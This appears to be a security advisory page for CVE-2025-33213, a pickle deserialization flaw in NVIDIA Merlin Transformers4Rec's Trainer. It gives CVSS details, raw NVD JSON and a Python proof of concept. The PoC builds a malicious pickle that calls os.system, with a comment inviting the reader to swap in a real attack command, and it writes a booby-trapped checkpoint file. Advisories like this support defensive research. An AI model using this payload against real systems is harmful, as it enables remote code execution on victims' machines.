Security Vulnerability Report
中文
CVE-2025-33213 CVSS 8.8 HIGH

CVE-2025-33213

Published: 2025-12-09 18:15:49
Last Modified: 2026-04-15 00:35:42

Description

NVIDIA Merlin Transformers4Rec for Linux contains a vulnerability in the Trainer component, where a user could cause a deserialization issue. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NVIDIA Merlin Transformers4Rec < 修复版本
Transformers4Rec Trainer组件(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import base64 import os # CVE-2025-33213 PoC - Malicious pickle payload for deserialization RCE # Target: NVIDIA Merlin Transformers4Rec Trainer component class Exploit: def __reduce__(self): # This will execute when the object is unpickled cmd = "whoami > /tmp/pwned.txt" # Replace with actual attack command return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" exploit_obj = Exploit() payload = pickle.dumps(exploit_obj) return base64.b64encode(payload).decode('utf-8') def create_malicious_checkpoint(): """Create a malicious checkpoint file that can be loaded by Trainer""" payload = generate_payload() malicious_data = { 'model_state': pickle.loads(base64.b64decode(payload)), 'version': 'vulnerable_version' } with open('malicious_checkpoint.pkl', 'wb') as f: pickle.dump(malicious_data, f) return payload if __name__ == '__main__': print("CVE-2025-33213 PoC for NVIDIA Merlin Transformers4Rec") print("=" * 60) payload = generate_payload() print(f"Malicious payload (base64):\n{payload}") print("\nNote: This payload will execute 'whoami' command when unpickled") print("Attack vector: Load this payload through Trainer checkpoint loading")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33213", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:49.447", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Merlin Transformers4Rec for Linux contains a vulnerability in the Trainer component, where a user could cause a deserialization issue. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33213", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5739", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33213", "source": "[email protected]"}]}}